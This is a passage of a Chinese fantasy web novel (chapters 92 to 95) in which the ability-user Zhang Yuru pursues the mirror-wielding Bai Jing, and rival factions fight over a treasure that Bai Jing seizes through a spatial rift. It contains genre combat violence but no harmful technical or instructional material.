空气里仿佛都弥漫着拳风与镜面碰撞产生的细微震颤,带着一种沉闷而压抑的张力。 每一次拳头落下的破空声,每一次镜面升起的嗡鸣声,交织成一段单调却又暗藏汹涌的旋律,在两人之间反复回荡。 招式固然简单直白,不过是挥拳与格挡的往复循环,可张玉汝却在这一次次的对撞中,持续不断地提升着自己攻击的频率与速度。 他的手臂肌肉在快速摆动中微微贲张,汗水顺着额角滑落,滴落在衣襟上晕开一小片深色的痕迹,却丝毫没有影响他出拳的节奏。 起初的时候,白镜或许一秒之内只需挡下几十拳便能稳稳地站在原地,那时他的嘴角甚至还挂着一丝若有若无的轻蔑笑意,仿佛在嘲笑张玉汝这种徒劳无功的攻击。 然而随着时间一分一秒地推移,在同等的时间里,他所需要格挡的攻击次数,已然被逐步提升到了数百拳之多。 那些原本平稳悬浮的镜面开始出现细微的晃动,格挡时发出的嗡鸣也变得愈发急促,像是不堪重负的呻吟。 白镜的呼吸渐渐变得粗重,额头上暴起的青筋如同蚯蚓般跳动着,每一次抬手操控镜面格挡,都比先前更显吃力,连握着镜面边缘的手指都泛起了淡淡的白色。 数量的积累终将引发显著的量变,张玉汝便如同永动机般不知疲倦地持续出拳。 臂膀肌肉传来的酸痛与骨骼深处泛起的乏力,总会在他收拳的刹那,被体内「枯木逢春」的奇异力量悄然抚平——那股暖流顺着经脉游走,所过之处,疲惫感如潮水般退去,紧绷的肌肉重新恢复弹性,连呼吸都随之变得平稳有力。 奇妙的是,张玉汝越是在高强度攻击下感到疲惫,「枯木逢春」的恢复效果便愈发显著。 当他的疲劳值累积到某个临界值时,体内体力消耗的速度竟与这股力量的恢复速度达成了微妙而完美的平衡,仿佛形成了一个自给自足的闭环。 这意味着,只要张玉汝愿意,在自身本源能量彻底耗尽之前,他完全可以长久维持当前这般惊人的攻击强度,让拳风与镜面的碰撞永无休止地持续下去。 但他并没有选择这种看似稳妥的方式,反而在平衡达成的瞬间继续加码。 他心里清楚,持续维持同一强度的攻击固然能最大限度降低自身消耗,却也可能给白镜留出适应的空隙——对方或许会在一次次重复的格挡中摸清规律,甚至慢慢找到化解攻势的破绽。 白镜此刻之所以无法组织起有效的反击,除了他每一次试图异动的意图都被张玉汝那双「造化之眼」看得通透无比,更关键的原因在于,他已被彻底拖入了张玉汝的节奏,只能被动地跟着拳速的提升而仓促应对。 那些悬浮的镜面如同被狂风骤雨裹挟的浮萍,每一次格挡都透着仓促与狼狈,根本腾不出手来施展更复杂的手段。 张玉汝深谙此道,一旦给了白镜适应节奏的喘息之机,以对方操控镜面的诡异能力,未必不能在看似被动的防御中悄悄布下陷阱——或许是在某层镜面后藏起致命的折射,或许是借着格挡的间隙扭曲空间,任何一点疏忽都可能让局势逆转。 既然早已下定决心要彻底解决掉这个对手,那就必须趁此机会一鼓作气,用连绵不绝的拳势将对方的防御层层压垮,让那层层叠叠的镜面在持续攀升的攻击强度下寸寸碎裂,直至再无任何抵挡之力。 这份决绝,如同他拳头上不曾减弱的力道,在每一次挥出时都带着不容置疑的杀意。 在张玉汝持续不断的层层加码之下,白镜的防御终于像是被暴雨冲刷到极限的堤坝,再也支撑不住了。 那些原本密不透风的镜面开始出现肉眼可见的裂痕,银色的光泽在拳风的持续冲击下变得黯淡,如同蒙上了一层灰翳。 当又一记拳头带着破空的锐响袭来时,最外层的镜面发出一声清脆的碎裂声,紧接着,后面的镜面如同多米诺骨牌般接连崩裂,层层防御瞬间出现了一道破绽 —— 而张玉汝的铁拳,便循着这道破绽呼啸而入。 这一拳穿透层层碎裂的镜面残片,带着势不可挡的力道,终于结结实实地落在了白镜的身体上。 拳锋触碰到皮肉的刹那,甚至能听到骨骼被震得发出细微的闷响,那股沛然巨力如同投入湖面的巨石,在白镜体内掀起了翻江倒海的震荡。 若是换作那些以力量见长的能力者,或许挨上张玉汝几拳也不会有太大的问题。 他们常年锤炼体魄,皮肉坚韧如铁,骨骼更是堪比精钢,物理抗性相当之高,寻常的拳力根本难以伤其根本。 但白镜显然不属于那种抗揍的沙包。 他的能力侧重于操控镜面,自身的肉体强度与常人相比并无太大差异。 是以,当张玉汝那砂锅大的拳头结结实实地砸在他脑门上时,白镜只觉得眼前骤然一黑,仿佛有无数金星在视野里炸开,大脑瞬间一片空白,整个人陷入了极其短暂却致命的昏厥状态之中。 在白镜被这一拳打出僵直的瞬间,张玉汝后续的攻击已然接踵而至。 他的拳头如同狂风骤雨般落下,每一拳都带着裂石穿金的力道;肘部弯曲如铁杵,狠狠顶向白镜的肋下;膝盖更是如攻城锤般抬起,精准地撞向对方的小腹。 拳风呼啸,腿影翻飞,将白镜整个人完全笼罩其中,让他连一丝挣扎的余地都没有。 不过顷刻间的功夫,白镜身上便已是筋断骨折。 肋骨断裂的声音夹杂着骨骼错位的脆响,在密集的击打声中格外刺耳。他的身体如同断线的风筝般被打得连连后退,皮肤上布满了青紫的瘀伤与深可见骨的伤口,全身上下再也找不到一块完好的皮肉,整个人狼狈不堪,彻底失去了反抗的能力。 眼下这情形,若是再无人前来救援白镜,他怕是再难从张玉汝手下逃脱。 可真会有人来救他吗?答案大抵是否定的。 就在张玉汝全神贯注对白镜出手的当口,他已然放弃了对周遭其他人的拦截。 先前那般看重的玄霜云珀,此刻在他心中早已没了那般分量,相较之下,彻底解决白镜才是眼下最要紧的事。 不过张玉汝终究还守着几分道德底线。 毕竟与雨萱曾有过一场合作,即便此刻心思全在白镜身上,也不好真就对她的处境不管不顾。 于是他暗自加强了「颠倒世界」的效果。 如此一来,冯难、丁璎珞那伙人即便想穿过「颠倒世界」逃离此地,也必然会被这股力量拖延上不少时间——既给了雨萱足够的缓冲,也算是全了几分合作的情分。 而在张玉汝与白镜这场激烈厮杀的过程中,那群心思各异的家伙早已走得七七八八。 他们脚下生风,恨不得立刻远离这片是非之地,哪里还会回头多看一眼陷入绝境的白镜? 要指望这群满脑子都在盘算利益得失的人折返救援,实在是有些异想天开。 于他们而言,白镜不过是合作途中可以利用的棋子,如今棋子即将碎裂,又怎会有人为了一枚废子,冒着引火烧身的风险回头?恐怕早在他们转身离去的那一刻,白镜的死活便已不在他们的考量之中了。 “刹那。” 随着张玉汝一声低喝,一条裹挟着凛冽寒气的白色狂龙自他拳锋迸发而出,带着撕裂空气的锐啸,毫无阻碍地穿透了白镜的躯体。 白镜那早已被打得伤痕累累的身躯应声而断,自腰间被齐齐截成两截,断裂处的骨骼与碎肉混作一团,看上去已是断无生机、绝无恢复可能的致命伤势。 然而,张玉汝的脸上却没有半分得手后的欣喜,反而眉头微蹙,心中那股异样的感觉愈发清晰——方才狂龙穿透躯体时的触感太过滞涩,不似血肉之躯应有的阻力,倒像是戳破了一层灌满空气的皮囊。 这份疑虑并未持续太久,接下来发生的事情便迅速印证了他的直觉。 白镜那断成两截的躯体里,竟没有半滴鲜血涌出,取而代之的,是源源不断流淌而出的银白色能量。 那些能量如同融化的水银,顺着断裂处缓缓滴落,在地面上聚成一滩泛着冷光的液池。 而他的两截躯体,则以肉眼可见的速度迅速黯淡下去,原本还残留的皮肉色泽以惊人的速度褪去,最后变得像蒙尘的金属般毫无生气。 片刻之后,在“咔嚓”几声脆响中,这两截躯体彻底失去了所有光泽,随即崩解碎裂,化作数不清的细小碎片散落在地。 那些碎片边缘锋利,折射着周围的光线,竟如同被人狠狠打碎的玻璃容器一般,再也看不出半分人体的模样。 “又是这招……”张玉汝盯着地上那些闪烁着银光的碎片,眼神骤然一凝,旋即调动起体内更多的能量注入双眼。 瞳孔深处泛起淡淡的光芒,周遭的景象在他视野中变得愈发清晰,连空气中那些细微的能量波动都无所遁形——他在搜寻白镜真正的踪迹,绝不能再让这家伙用这种伎俩逃脱。 白镜的「镜中人」,堪称他压箱底的保命手段,是以他在这一能力的开发与应用上,向来倾注了极大的心血,早已将其打磨得炉火纯青。 就在方才躯体被狂龙洞穿、即将承受致命一击的刹那,白镜毫不犹豫地以透支大量本源能量为代价,悍然催动了「镜中人」。 霎时间,一面厚实的银镜凭空出现在他身前,镜面泛着冷硬的光泽,如同一块从天而降的玄铁,硬生生替他挡下了那足以撕裂一切的致命冲击。 而借着银镜破碎时迸发的空间涟漪,他自身能力与空间法则之间那丝微妙的联系被瞬间激活,整个人如同水滴融入大海般,被一股无形的力量牵引着,顺着空间缝隙传送到了遥远的地方。 换做是其他能力者,面对金蝉脱壳之计,多半会被眼前的假象所迷惑,以为白镜已在重拳下化为碎片,从而错失追击的最佳时机。 但张玉汝显然不会犯下这种低级错误。 他那双被能量充盈的金瞳,早已捕捉到了白镜逃脱时留下的蛛丝马迹——就在银镜崩碎的瞬间,一道微不可察的空间波动如同投入湖面的石子,在空气中荡开一圈转瞬即逝的涟漪,而那散落的玻璃碎片里,有几片正以一种违背物理常理的轨迹,朝着某个方向缓缓飘移,仿佛被无形的线牵引着。 对于这种能够自如运用空间通道的能力者,张玉汝心底确实泛起几分头疼。 这类能力太过诡异,往往能在绝境中创造一线生机,让人难以捉摸其踪迹。 除非他能提前预判对方的动向,在白镜催动能力的前一刻,便动用「颠倒」的力量扭曲周遭的空间法则,从而废掉对方的传送招式。 可这其中的时机拿捏,实在是难如登天——既要精准捕捉对方的意图,又要在电光火石间完成能力的催动,稍有差池便会功亏一篑。 也正因如此,白镜才得以抓住这转瞬即逝的空隙,成功脱身而去。 第 93章 贪婪的白镜 尽管没能拦下白镜,让他借着空间之力逃之夭夭,张玉汝脸上却并未显露多少怒意,更没有半分焦躁。 在他看来,愤怒本身并非过错,可若是每逢遇事,第一反应便是怒不可遏,那只能说明此人能力有限,无力扭转局面,只得借怒火掩饰自身的无能。 张玉汝从不屑于做这种徒劳的情绪宣泄,白镜既已逃脱,眼下再动怒亦是枉然。 白镜能借着空间之力逃出生天,这事儿确实超出了张玉汝的预料。 但细想之下,倒也合乎情理。 毕竟能走到大师级顶点的能力者,哪个不是在刀尖上滚过来的? 若在早有准备的情况下,藏着几招压箱底的保命手段,实在再正常不过。 白镜能在这般绝境中撕开空间裂隙脱身,想来这手底牌已是他压箱底的本事,怕是为了今日这局面,早已暗中准备了许久。 空间类能力的难缠之处,此刻愈发凸显出来。 对于那些对空间法则理解尚浅的能力者而言,面对这类能任意穿梭空间的对手,往往会束手束脚,满心都是难以言喻的头疼。 毕竟寻常的攻击手段,在空间的折叠与跳跃面前,多半会落得个挥空的下场;即便布下天罗地网,对方也可能借着一道空间裂隙轻松脱困,那种有力使不出的无力感,足以让任何强者都感到憋屈。 张玉汝望着白镜消失的方向,指尖无意识地摩挲着拳面——那里还残留着击碎镜面时的冰凉触感。 他心里清楚,这一逃,下次再想寻到白镜的踪迹,怕是要费不少功夫了。 空间的壁垒如同无形的迷雾,一旦被对方隐匿其中,再想精准锁定其方位,绝非易事。 这世间本就没有绝对的公平可言,而在能力者的世界里,这种不公与差异更是被无限放大,显露得淋漓尽致。 不同类型的能力,其下限与上限之间的鸿沟,往往大到超乎想象。 即便有些天赋出众的能力者,能凭借不懈的努力挖掘能力的变种与潜力,也很难彻底填平这道天堑。 就像速度类能力者,即便拼尽全力去突破极限,将奔跑的速度提升到肉眼难辨的境地,可面对那些能直接撕开空间通道、瞬息跨越千里的空间类能力者,终究还是望尘莫及——两者之间的本质,本就是维度上的差距。 当能力者们对自身能力的理解尚且停留在表层,未能向更深邃的领域探索时,不同类型能力的下限便已呈现出天壤之别。 譬如空间类、星辰类的能力者,即便只是一板一眼地运用着最初觉醒的能力,不做任何拓展,也能凭借能力本身的优越性,拥有相当不俗的战斗力。 反观一些偏门或弱势的能力,即便持有者耗费数倍心血,也未必能达到同等的高度。 即便是张玉汝这般始终向着能力深处探索求道,不断打磨自身技艺的强者,此刻对于空间类能力也尚无太好的应对之法。 他能在对方施展能力的瞬间出手打断,可一旦被对方抓住那转瞬即逝的空隙成功脱身,他也只能眼睁睁看着对方消失在空间裂隙中,暂任其远去。 这便是能力本质带来的局限,纵是张玉汝也无法全然规避。 他深吸一口气,压下体内翻涌的能量,目光扫过地上散落的银白色碎片,眸中闪过一丝冷冽——这次暂且让白镜逃了,但下次,对方就不会有这样的机会了。 ----- 就在白镜凭借空间之力转移身形、仓促逃窜的同一时刻,另一边的雨萱正被一股难以抑制的兴奋感包裹着。 她怎么也没能料到,那枚人人觊觎的玄霜云珀,最终竟会落入自己手中。 说句实在话,以她这种近似文职人员的能力定位,在凉风之山这群实力强横的能力者当中,处境就如同豺狼虎豹环伺中的一只小白兔,显得格格不入且毫无威慑力。 原本在她的预想里,自己这次最多也只能等到其他人瓜分完利益后,从残羹冷炙中分到一小杯羹,根本不敢奢望能有什么重磅收获。 可眼下,所有的玄霜云珀都安安稳稳地躺在她的身上,这份突如其来的惊喜让她心跳都不由得加快了几分。 其他能力者或许对凉风之山的规矩一知半解,但雨萱却对这里的种种规则了如指掌。 按照既定的章程,在玄霜云珀被取走后的三天之内,通向外界的空间通道将会再次开启。 到了那个时候,自然教会的高层们便会准时前来接应。 只要能得到派系高层的撑腰,她便再也不必像从前那样,时时刻刻提心吊胆地畏惧着周遭那些虎视眈眈的目光,更不用在面对其他人的欺压时忍气吞声。 尽管雨萱的心里多少有些疑惑,不明白张玉汝那家伙为何会做出这种虎头蛇尾的举动,之前还对玄霜云珀如此渴求,转眼间就没了下文。 但转念一想,这似乎也没什么大不了的。 毕竟,只要是对自己有益的事情,其实根本没必要刨根问底地去追究那么多缘由,享受眼前的成果才是最实在的。 只不过雨萱的想法未必能够那么顺利的实现。 失去了张玉汝的拦截,冯难、丁璎珞、林逸等人再无阻碍,纷纷动身,四下散开去搜寻雨萱的踪迹。 这一行人里,冯难的速度明显要慢上许多,毕竟他还得背着依旧处于痴呆状态、毫无自主行动能力的万年。 与其他势力那些惯于勾心斗角、各怀鬼胎的家伙们不同。 冯难和万年之间虽也时常因性格差异闹些小别扭,彼此间算不上亲密无间,却也有着一份难得的默契与情谊,关系远没到剑拔弩张的地步。 所以,像把万年孤零零丢在原地任其自生自灭这种事,冯难是万万做不出来的。 而真正能做出这种事的雷鸣,此刻恰恰是距离雨萱最近的人。 自打白镜被张玉汝盯上的那一刻起,雷鸣便成了第一个动身离开的人。 身为雷电系能力者,他的速度本就在众人之中位居上游,此刻更是将这份优势发挥得淋漓尽致。 更何况,早在先前雨萱现身的那短短片刻,雷鸣便已不动声色地在她身上留下了一个隐秘的侦察印记。 这印记颇为特殊,其本身并不蕴含任何外来能量,所需的能量皆源自目标自身内部那微弱的生物电流。 通常来说,越是谨慎的能力者,对外界事物的警惕性便越高,可他们往往很难对自身产生怀疑。 也正因如此,这个巧妙的印记才能成功避开雨萱的感知,悄无声息地潜伏了下来。 只不过,受限于生物电流本身过于微弱的特性,雷鸣并不能实时追踪雨萱的位置,只能每隔一段时间才能接收到一次断断续续的信号,以此大致判断她的方位。 无论如何,当玄霜云珀从原处被成功取出的那一刻起,凉风之山这场围绕着宝物展开的纷争,便已悄然走向了尾声。 最终会是雨萱凭借手中的玄霜云珀笑到最后?还是雷鸣借着追踪印记后来居上,将宝物夺入囊中? 又或者,故事会走向其他意想不到的结局?这一切,此刻都还是个未知数。 此前已然回归初心的张玉汝,本已彻底放弃了对玄霜云珀的争夺,将自己全部的精力都集中在了另一件事上。 但即便如此,想要彻底解决掉白镜也绝非易事——毕竟对方同样是一位实力强悍的大师级能力者。 或许是白镜骨子里的贪婪太过炽烈,他在好不容易摆脱张玉汝的纠缠之后,既没有立刻找个隐蔽之处藏匿起来,也没有设下什么精妙的迷阵来迷惑身后的追兵。 他的目标始终未曾改变,依旧牢牢锁定在持有玄霜云珀的雨萱身上。 就在雷鸣不动声色地给雨萱打上侦察印记的同一时间,白镜也用自己的方式,在雨萱身上留下了追踪标记。 不仅如此,他的贪婪让他不愿放过任何一个可能的机会。 在场的所有人里,除了张玉汝和林逸两人因特殊原因无法被标记之外,其余人的身上都被他悄无声息地留下了印记,仿佛这样就能将所有潜在的利益都牢牢攥在手中。 正是这份对玄霜云珀的极度渴望,驱使着白镜马不停蹄地朝着雨萱所在的方位赶去。 而另一边,张玉汝也已通过「造化之眼」捕捉到的种种细微痕迹,精准锁定了白镜留下的行踪,顺着这些若隐若现的线索,毅然决然地追了上去。 其实,若是白镜能够收敛几分贪婪,选择一味地依靠空间之力持续逃窜,那么在短短三天的时间里,张玉汝恐怕很难真正将他截获。 可偏偏是白镜的贪婪,亲手为张玉汝创造了追上他的机会。 第 94章 得手 “终于把那个该死的家伙甩开了!” 白镜扶着身后冻得梆硬的冰岩大口喘气,喉间涌上的腥甜混着凛冽的寒气,呛得他胸腔一阵发紧。 他猛地侧过脸,一口带着血丝的老痰啐在脚边的积雪里,在蓬松的白雪上砸出个深色的小坑,转瞬就被呼啸而过的罡风卷来的雪沫半掩住。 海拔万米的雪山之巅,风势烈得如同无数把小刀子,割得他脸颊生疼。 身上那件月白锦袍早已被风雪打透,下摆沾着的冰碴子随着动作簌簌掉落,腰间系着的玉带也磕出了几道浅痕。 先前为了撕裂空间通道强行传送,他不仅耗空了大半本源能量,连护体的能量都险些溃散,此刻只觉得骨髓里都透着寒意,指尖冻得发紫,连攥紧拳头都费力。 其实白镜并非天生这般粗鄙。 尽管心性阴狠,可自幼受的教养早已刻进骨子里——衣襟的褶皱要熨帖得如同刀裁,束发的玉簪须得是羊脂白玉的质地,就连迈步时袍角扫过地面的幅度,都曾被先生拿着戒尺纠正过千百遍。 绝大多数时候,他都能维持着那副世家公子的矜贵气度,乌发用玉冠束得一丝不苟,袖口露出的暗纹刺绣在微光下流转着温润的光泽,便是颔首行礼时,颈间玉佩晃动的弧度都透着恰到好处的优雅。 内里的算计与阴鸷,被这身清雅的衣袍裹得严严实实。 可这层体面,对付那些只看皮相的蠢货已是足够。 他们看得见他腰间玉佩的水头,赞得出他折扇开合时的利落,却读不懂他垂眸时眼底一闪而过的狠戾。 真正的君子,纵是身陷绝境也能守得住风骨,可白镜终究只是个空有其表的绣花枕头。 被张玉汝像追猎困兽般撵得在雪山里东躲西藏,数次险些被那狂风骤雨般的拳劲砸进冰缝,胸腔里积压的羞愤早已撑破了所有伪装。 此刻倚着冰岩,他能清晰听见自己粗重的喘息在风雪中碎裂,束发的玉冠歪斜着,几缕湿发黏在汗湿的额角,混着冰碴刺得头皮发麻。 风卷着雪沫子灌进他敞开的衣襟,冻得他猛地打了个寒颤。那口啐在雪地里的痰迹已彻底被新雪覆盖,就像他此刻支离破碎的体面,在这荒无人烟的雪山之巅,连一丝痕迹都留不住。 即便白镜能仗着空间之力辗转腾挪,想要彻底摆脱张玉汝的追踪,也绝非易事。 好几次,他借着空间裂隙跳出数里之外,躲在雪山深处的冰洞里喘息,听着风雪掩盖了身后的动静。 正以为能松口气时,却总能透过冰面反射的微光,看到远处雪坡上那道不紧不慢的身影——张玉汝就像揣着追踪器一样,无论他藏得多隐蔽,总能循着某种无形的轨迹追上来,步伐沉稳得让人心头发紧。 若非白镜反应够快,早已养成了时刻关注周遭反光的习惯,怕是早被追上了。 无论是冰面、雪粒折射的光斑,还是随身携带的铜镜碎片,只要其中映出张玉汝的影子,他便会在那道身影逼近之前,拼着耗损能量也要强行撕开空间逃遁。 每一次传送后回头望,都能看到张玉汝停在他方才立身之处,目光穿透风雪,像是早已预判了他的去向。 这般追逃持续了近半个时辰,白镜心里渐渐发沉。 他终究不是纯粹的空间类能力者,能调动空间之力,一半是靠着自身「镜中人」对光影与空间的微妙联动,另一半则全仗着白磬为他准备的那块「碎空镜」。 这宝物能帮他强行撕裂空间,可每用一次,镜面便会蒙上一层霜白,显然是在消耗本源。 再这么耗下去,不等宝物彻底失效,他自己就得先被榨干能量储备。 白镜咬了咬牙,看着掌心那块布满裂纹的碎空镜,眼底闪过一丝狠厉——横竖都是险局,不如赌上一把。 他猛地将残余的力量尽数灌入碎空镜,镜面瞬间爆发出刺目的银光,周围的空间开始剧烈扭曲。 在张玉汝的拳风即将扫到他后背的刹那,白镜拽着这股力量连续撕开十七道空间裂隙,每一次传送都比前一次更急促,更蛮横。 碎空镜上的裂纹如同蛛网般蔓延,最后在第十七次传送落地时,“咔嚓”一声崩出个缺口,镜面光泽骤然黯淡下去。 当他踉跄着摔在一片陌生的雪原上,回头望去时,风雪弥漫的天地间,终于再没有那道紧追不舍的身影。 碎空镜在掌心变得冰凉,边缘的缺口割得他掌心生疼,可白镜却像是脱力般瘫坐在雪地里,望着远处翻涌的云层,第一次觉得这刺骨的寒风,竟也带着几分喘息的余地。 白镜瘫坐在雪地里喘息了足足一炷香的功夫,冻得发僵的手指才勉强能蜷起,攥住掌心那枚已经黯淡无光的「碎空镜」。 镜面缺口处的棱角割破了皮肉,渗出血珠却瞬间凝结成冰,与碎镜粘在一处,像是嵌进掌心里的一块冰碴。 他心里清楚,此地绝非久留之所。 张玉汝虽暂被甩开,可那双仿佛能洞穿时空壁垒的「造化之眼」太过诡异,谁也说不准下一刻会不会再次锁定他的踪迹,届时再想脱身,怕是难如登天。 白镜咬着牙挣扎起身,身上那件月白锦袍的下摆早已被雪水浸透,在凛冽寒风中冻得硬邦邦的,每走一步,布料扫过冰面都会发出细碎的摩擦声,像是在替他这狼狈的逃窜伴奏。 裸露的手腕上,冻疮已经鼓起了细密的红疹子,稍一弯曲便疼得钻心。 他不敢再动用分毫能力,连指尖凝聚的微光都刻意敛去——方才连续十七次传送几乎掏空了他的能量,更重要的是,任何能量波动都可能成为张玉汝追踪的路标。 眼下只能凭着记忆里的地形判断,深一脚浅一脚地往雪山更深处钻,靴底踩在冰层上打滑,好几次险些栽进雪窝,全靠攥着冰棱的指节死死用力才稳住身形。 他要去的方向,正是雨萱一行离去的路径。 白镜的眼底闪过一丝贪婪的光,混着风雪的寒意,显得格外阴鸷。 玄霜云珀还在雨萱身上,那宝物蕴含的精纯能量,是他此刻最迫切需要的东西。 先前被张玉汝追得如同丧家之犬,连觊觎这宝物的心思都顾不上,可如今稍稍喘过口气,那股占有的欲望便如野草般疯长——他绝不能容忍到嘴的肥肉飞了。 更何况,这念头里还掺着几分急于报仇的狠厉。 只要能夺下玄霜云珀,不仅能快速修复这身创伤,更能借着宝物的能量一举冲破桎梏,将实力再提一个台阶。 若是能借此机会冲击宗师级境界……白镜舔了舔冻得干裂的嘴唇,届时再遇上张玉汝,便是对方的死期。 风雪卷着冰碴打在他脸上,却盖不住那抹扭曲的笑意。他扶着一块被冻得发黑的岩石喘了口气,望着前方被风雪模糊的山脊线,脚步又快了几分。 哪怕此刻每走一步都像是在撕扯五脏六腑,他也必须赶在雨萱彻底走远前追上去——这是他翻盘的唯一机会,绝不能失手。 风雪卷着冰粒撞在雨萱的斗笠上,发出噼里啪啦的脆响。她将玄霜云珀贴身藏在水纹锦袋里,刚转过一道冰脊,身后便传来雷鸣那如擂鼓般的脚步声。 “雨萱,把玄霜云珀交出来。”雷鸣站在三丈外的雪坡上,玄色劲装外罩着的貂裘被风吹得猎猎作响,掌心缠绕的银蓝色雷光噼啪炸响,在雪地里映出跳跃的光斑。 “按照教会的规矩,玄霜云珀不能够私下使用。” 雨萱摘下斗笠,露出一张被寒气冻得微红的脸,指尖在身侧轻轻一划,一道半尺厚的冰墙应声而起:“雷鸣,教会规矩我自然知晓,这玄霜云珀,待我用它突破瓶颈,自会交还教会。” 她脚下的积雪悄然融化,化作数道细流在靴边游走,随时可能化作冰刃。 “规矩就是规矩!”雷鸣踏前一步,雷光顺着脚边的水流蔓延,瞬间在冰墙表面炸出一片焦痕。 “你的水系能力已近圆满,这宝物更该给我稳固根基!” 话音未落,他已纵身跃起,裹挟着雷光的拳头砸向冰墙,轰然巨响中,冰屑混着电光四溅。 显然他是动了真格。 雨萱借势后掠,掌风扫过之处,飞溅的冰屑骤然凝结成数十根冰针,密密麻麻射向雷鸣。 雷鸣却不闪不避,周身雷光暴涨如盾,冰针撞在光盾上尽数碎裂,他趁势欺近,拳头带起的劲风将雨萱的发丝吹得凌乱——他的雷法向来以刚猛著称,信奉以力破巧,而雨萱的水系能力则更擅迂回,冰与水的转换间暗藏无数变化,两人虽同属自然教会,此刻却打得难分难解。 就在雨萱引雪水化作水龙缠向雷鸣脚踝时,两道身影突然从冰崖后转出。 丁璎珞摇着柄乌木折扇,红裙裙摆扫过积雪,留下一串带着毒香的脚印,她身后的林逸则赤着上身,古铜色的肌肉在风雪中泛着油光,指节捏得咯咯作响。 “哟,这不是自然教会的两位吗?”丁璎珞的折扇在掌心敲出轻响,目光却像黏在雨萱腰间的锦袋上。 “自家窝里斗多没意思,不如把玄霜云珀拿出来,让我天道教也开开眼?” 说话间,她手腕轻抖,折扇骨里弹出三道银亮的金属镖,镖尖泛着乌青色,显然淬了剧毒,直取雨萱护着袋子的左手。 林逸则如猛虎下山般扑向雷鸣,砂锅大的拳头带着破空声砸来:“让我来会会你!” 他肉身强悍得离谱,竟能硬抗雷鸣的雷光,拳头撞在一起时发出闷响,震得周围积雪簌簌下落。 雷鸣被林逸缠住,雷法虽强,却破不开对方刀枪不入的肉身,反而被林逸近身缠斗得束手束脚;雨萱既要防备丁璎珞层出不穷的毒暗器,又要护着怀中的玄霜云珀,渐渐落入下风。 “雷鸣!”雨萱被一枚毒镖擦过肩头,衣料瞬间被蚀出个黑洞,她咬着牙引动更深层的水系灵力,脚下积雪骤然化作冰湖,将丁璎珞的脚步困住。 “先联手退敌!” 雷鸣此刻也被林逸揍得胸口发闷,闻言当即应道:“好!”他猛地引雷劈向冰湖,雷光顺着冰面蔓延,丁璎珞躲闪不及,裙角被雷光燎焦一片,连退数步才稳住身形。 而雨萱则趁机凝聚冰矛,精准地射向林逸后心。 林逸果然被冰矛逼得转身格挡,雷鸣抓住空隙,雷光如蛇般缠上他的手臂,滋滋的灼烧声中,林逸终于露出痛色。 丁璎珞见状甩出毒烟,趁着众人视线受阻时再次扑向雨萱的锦袋,却被雨萱引冰锁住手腕,两人拉扯间,那水纹锦袋突然撕裂,承载着玄霜云珀的玉石滚落出来,在雪地里发出温润的光。 就在所有人都下意识去抢的瞬间,一道空间裂隙毫无征兆地在宝物旁张开。 白镜那只因失血而泛着青灰的枯瘦手掌,突然从扭曲的空间裂隙中探出,指尖精准地扣住玄霜云珀温润的边缘。 他半边脸颊还沾着未干的血污,月白锦袍撕裂的袖口露出冻得青紫的手腕,全然是一副劫后余生的狼狈相,可那双眼睛里却迸射出近乎贪婪的狂喜,像是饿狼终于咬住了肥羊。 “多谢各位相送!”白镜的声音裹着玄霜云珀散出的能量波动,带着一种金属摩擦般的震颤。 掌心的宝物正透出层层叠叠的银白光华,顺着他指缝里的伤口往里钻,所过之处,那些被张玉汝打断的骨缝传来酥麻的痒意,溃烂的皮肉以肉眼可见的速度结痂、脱落,露出底下粉嫩的新肉,连断裂的肋骨都在发出细微的愈合声响。 “这等宝物,自然是有德者居之!”他用力攥紧玄霜云珀,指节因用力而泛白,脸上却扬起一抹扭曲的得意,“它合该归于我手!” 话音未落,周身已腾起一圈银色光晕,那是能量过剩溢散的征兆。 此时,雷鸣凝聚的雷光已如毒蛇般缠上他的手腕,雨萱掷出的冰刃带着破空声削向他的脖颈。 丁璎珞的毒镖泛着乌光直取他握宝的掌心,林逸那砂锅大的拳头更是带着撕裂风雪的气势砸向他的面门——四人的攻击几乎在同一瞬间抵达。 可白镜早有准备。 他借着玄霜云珀提供的能量,猛地扩大空间裂隙,整个人如同坠入墨池般迅速下沉。 雷光在触碰到裂隙边缘时骤然湮灭,冰刃与毒镖则被空间扭曲的力量引向别处,林逸的拳头更是直接砸空,只在雪地上留下一个半尺深的拳坑。 “后会有期——”白镜的冷笑从裂隙深处传来,带着说不尽的嘲讽,随后那道空间裂缝便如伤口般迅速愈合,只留下一道转瞬即逝的银光。 “该死!怎么让这家伙捡了个漏!”雷鸣气得须发皆张,一拳重重砸在地面上。 狂暴的雷霆瞬间炸开,积雪飞溅,坚硬的冰层裂开蛛网般的纹路,可无论他如何宣泄怒火,那道空间裂隙早已消失无踪,玄霜云珀更是没了半点气息。 雨萱捂着被毒镖擦伤的肩头,望着裂隙消失的地方,脸色苍白如纸;丁璎珞收起折扇,指尖捏着一枚染血的毒针,眼底满是不甘;林逸甩了甩发麻的拳头,古铜色的脸上怒意未消。 四人面面相觑,风雪卷着冰粒打在他们脸上,带着刺骨的寒意。 冰湖在雷鸣的雷力余波中渐渐融化,化作一滩冒着白气的冷水;丁璎珞散出的毒烟被狂风吹得无影无踪。 只有玄霜云珀留下的那点温润余温,还残留在冰冷的雪地里,很快也被新落的雪花掩盖,像是在无声地嘲笑着这场徒劳的争夺。 第 95章 宗师 鹬蚌相争,渔翁得利。 雨萱、雷鸣与林逸、丁璎珞这场混战终究没有真正的胜者,拼到最后,玄霜云珀反倒落入了白镜手中。 这结局瞧着仓促,细想之下也确实透着几分荒诞。 就好像那四人都成了没头的苍蝇,只顾着眼前的对手,把周遭可能存在的威胁抛到了九霄云外,活脱脱像群被宝物冲昏头脑的傻子。 这或许正是空间类能力最令人头疼的地方 —— 在毫无防备的情况下,那些突如其来的远程空间手段几乎无从防御。 银白的裂隙如同凭空张开的嘴,在你注意力全被眼前的厮杀牵扯时,冷不丁便从旁咬下一块肥肉。 尤其白镜的目标从始至终都不是伤人,而是抢宝。 他没释放半点杀意,只将能量凝聚在空间裂隙与攫取宝物的手掌上,这般纯粹的掠夺意图,连高等级能力者对危险的敏锐预知都变得迟钝起来。雨萱他们感知到的,不过是一阵转瞬即逝的空间波动,等反应过来时,宝物早已易主。 可再怎么找理由开脱,也掩不住白镜得手得太过轻易的事实。说句不客气的,他几乎是伸伸手,指尖便触到了玄霜云珀,那轻松惬意的模样,衬得先前在雪地里打得头破血流的四人像极了围着骨头打转的蠢货。 换做平日,白镜怕是要对着这等巧合琢磨半晌,可此刻他半分空闲也无。 